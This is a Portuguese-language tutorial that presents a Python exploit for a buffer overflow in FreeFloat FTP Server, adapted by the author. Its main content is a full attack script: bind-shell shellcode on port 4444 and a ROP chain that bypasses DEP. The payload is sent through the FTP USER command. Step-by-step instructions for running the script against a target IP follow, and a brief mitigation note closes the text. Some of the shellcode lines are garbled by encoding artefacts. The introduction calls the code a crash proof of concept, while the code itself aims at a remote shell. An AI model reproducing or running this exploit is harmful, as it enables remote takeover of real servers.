Atualmente foi descoberta uma vulnerabilidade crítica nos servidores que rodam o FreeFloat FTP Server. Nesta dica iremos
explorar esta vulnerabilidade e, nos adequar a outros serviços.
Autor: André Rosa
Notas:
- Todas as informações apresentadas nesta dica foram obtidas na Internet, sendo assim, não ofereço nenhum tipo de garantia
ou suporte. Não nos responsabilizamos por qualquer dano ocorrido, tanto na máquina (computador) quanto no software. Siga por
sua conta e risco.
- É permitida a cópia do conteúdo aqui publicado, desde que o autor seja informado e os créditos sejam mantidos intactos.
Atenção sysadmins! Os servidores que rodam o
FreeFloat FTP Server estão vulneráveis à buffer overflow. O que
causará é uma PoC remota, causando um crash no servidor, ou seja, ao executar o exploit o servidor irá parar de responder.
Foi publicado atualmente um exploit escrito em Python para causar o estouro de buffer no servidor anteriormente citado.
Este é o exploit:
#!/usr/bin/python
import socket, sys
from struct import pack
print "\n==============================="
print "Freefloat FTP Server DEP Bypass"
print " Escrito by Blake e adaptado por
Andrezc "
print "===============================\n"
if len(sys.argv) != 3:
print "[*] Uso: %s <host> <porta>\n" % sys.argv[0]
sys.exit(0)
target = sys.argv[1]
port = int(sys.argv[2])
# 728 bytes for shellcode
#Bind Shell shellcode port 4444
shellcode =
("\x31\xc9\xdb\xcd\xbb\xb3\x93\x96\x9d\xb1\x56\xd9\x7
4\x24\xf4"
"\x5a\x31\x5a\x17\x83\xea\xfc\x03\x5a\x13\x51\x66\x6a
\x75\x1c"
"\x89\x93\x86\x7e\x03\x76\xb7\xac\x77\xf2\xea\x60\xf3&
#92;x56\x07"
"\x0b\x51\x43\x9c\x79\x7e\x64\x15\x37\x58\x4b\xa6\xf6
\x64\x07"
"\x64\x99\x18\x5a\xb9\x79\x20\x95\xcc\x78\x65\xc8\x3f&
#92;x28\x3e"
"\x86\x92\xdc\x4b\xda\x2e\xdd\x9b\x50\x0e\xa5\x9e\xa7
\xfb\x1f"
"\xa0\xf7\x54\x14\xea\xef\xdf\x72\xcb\x0e\x33\x61\x37&
#92;x58\x38"
"\x51\xc3\x5b\xe8\xa8\x2c\x6a\xd4\x66\x13\x42\xd9\x77
\x53\x65"
"\x02\x02\xaf\x95\xbf\x14\x74\xe7\x1b\x91\x69\x4f\xef&
#92;x01\x4a"
"\x71\x3c\xd7\x19\x7d\x89\x9c\x46\x62\x0c\x71\xfd\x9e&
#92;x85\x74"
"\xd2\x16\xdd\x52\xf6\x73\x85\xfb\xaf\xd9\x68\x04\xaf&
#92;x86\xd5"
"\xa0\xbb\x25\x01\xd2\xe1\x21\xe6\xe8\x19\xb2\x60\x7b
\x69\x80"
"\x2f\xd7\xe5\xa8\xb8\xf1\xf2\xcf\x92\x45\x6c\x2e\x1d&
#92;xb5\xa4"
"\xf5\x49\xe5\xde\xdc\xf1\x6e\x1f\xe0\x27\x20\x4f\x4e&
#92;x98\x80"
"\x3f\x2e\x48\x68\x2a\xa1\xb7\x88\x55\x6b\xce\x8f\x9b&
#92;x4f\x82"
"\x67\xde\x6f\x34\x2b\x57\x89\x5c\xc3\x31\x01\xc9\x21&
#92;x66\x9a"
"\x6e\x5a\x4c\xb6\x27\xcc\xd8\xd0\xf0\xf3\xd8\xf6\x52&
#92;x58\x70"
"\x91\x20\xb2\x45\x80\x36\x9f\xed\xcb\x0e\x77\x67\xa2
\xdd\xe6"
"\x78\xef\xb6\x8b\xeb\x74\x47\xc2\x17\x23\x10\x83\xe6
\x3a\xf4"
"\x39\x50\x95\xeb\xc0\x04\xde\xa8\x1e\xf5\xe1\x31\xd3
\x41\xc6"
"\x21\x2d\x49\x42\x16\xe1\x1c\x1c\xc0\x47\xf7\xee\xba&
#92;x11\xa4"
"\xb8\x2a\xe4\x86\x7a\x2d\xe9\xc2\x0c\xd1\x5b\xbb\x48
\xed\x53"
"\x2b\x5d\x96\x8e\xcb\xa2\x4d\x0b\xfb\xe8\xcc\x3d\x94&
#92;xb4\x84"
"\x7c\xf9\x46\x73\x42\x04\xc5\x76\x3a\xf3\xd5\xf2\x3f&
#92;xbf\x51"
"\xee\x4d\xd0\x37\x10\xe2\xd1\x1d\x1a")
buffer = "\x41" * 230
eip = pack('<L',0x77f613ac) # RETN - shlwapi
rop = "\x42" * 8 # compensate
rop += pack('<L',0x77c2362c) # POP EBX, RETN - msvcirt
rop += "\xff\xff\xff\xff"
rop += pack('<L',0x77c127e1) # INC EBX, RETN
rop += pack('<L',0x5d093466) # POP EBP, RETN
rop += pack('<L',0x7c8622a4) # SetProcessDEPPolicy
rop += pack('<L',0x5d095470) # POP EDI, RETN
rop += pack('<L',0x5d095471) # RETN
rop += pack('<L',0x5d0913b4) # POP ESI, RETN
rop += pack('<L',0x5d095471) # RETN
rop += pack('<L',0x77e7d102) # PUSHAD #
RETN - RPCRT4
nops = "\x90" * 10
junk = "\x42" * (1000 - len(buffer + eip + rop + nops + shellcode))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[+] Conectando em %s na porta %d" % (target,port)
try:
s.connect((target,port))
s.recv(1024)
print "[+] Enviando payload..."
s.send("USER " + buffer + eip + rop + nops + shellcode + junk + "\r\n")
s.close()
print "[+] Exploitado com sucesso! :)"
except:
print "[X] Nao foi possivel conectar em %s" % target
raw_input("[+] Pressione quanquer tecla para sair...\n")
Eu o adaptei para um melhor entendimento. Vamos preparar nosso ambiente. Em um Windows, instale o FreeFloat FTP Server, a
partir do endereço:
Adicione as devidas permissões no firewall, caso seja necessário. Após isso, selecione uma porta (escolherei a porta 21, padrão
do serviço FTP), e inicie o servidor, clicando em Start.
Ok. Agora, na máquina onde iremos explorar, instale o interpretador Python, e interprete o exploit. Use o comando python
nome_do_arquivo.py. Por exemplo:
python freefloat_exploit.py
Você deve receber uma saída como esta:
===============================
Freefloat FTP Server DEP Bypass
Escrito by Blake e adaptado por
Andrezc
===============================
[*] Uso: freefloat_exploit.py <host> <porta>
O que isso quer dizer é que devemos passar como parâmetro o endereço IP do servidor e a porta.
Portanto, no meu caso, ficaria:
python freefloat_exploit.py 192.168.1.100 21
Execução:
No servidor, com Windows:
Solução
A FreeFloat FTP ainda não desenvolveu uma solução para a falha. Por enquanto, o melhor a fazer é utilizar outro servidor FTP.
Lembre-se de sempre verificar em sites que disponibilizam exploits, a procura de exploits que possam comprometer seu servidor.
Mantenha os serviços sempre atualizados. Esses passos básicos são essenciais para se ter um servidor seguro.
Conclusão: O conteúdo do artigo fala por si. Exploits estão acessíveis a todos. Portanto, você não deve tomar cuidado só com
pessoas que realmente entendem do que fazem. Segurança é fundamental, em quaisquer circunstâncias.